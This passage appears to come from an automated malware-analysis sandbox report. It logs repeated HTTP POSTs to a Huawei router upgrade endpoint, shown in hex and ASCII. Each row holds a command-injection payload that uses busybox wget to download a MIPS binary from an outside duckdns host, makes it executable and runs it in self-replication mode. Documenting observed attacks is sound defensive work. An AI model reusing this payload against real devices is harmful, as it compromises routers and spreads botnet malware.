amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 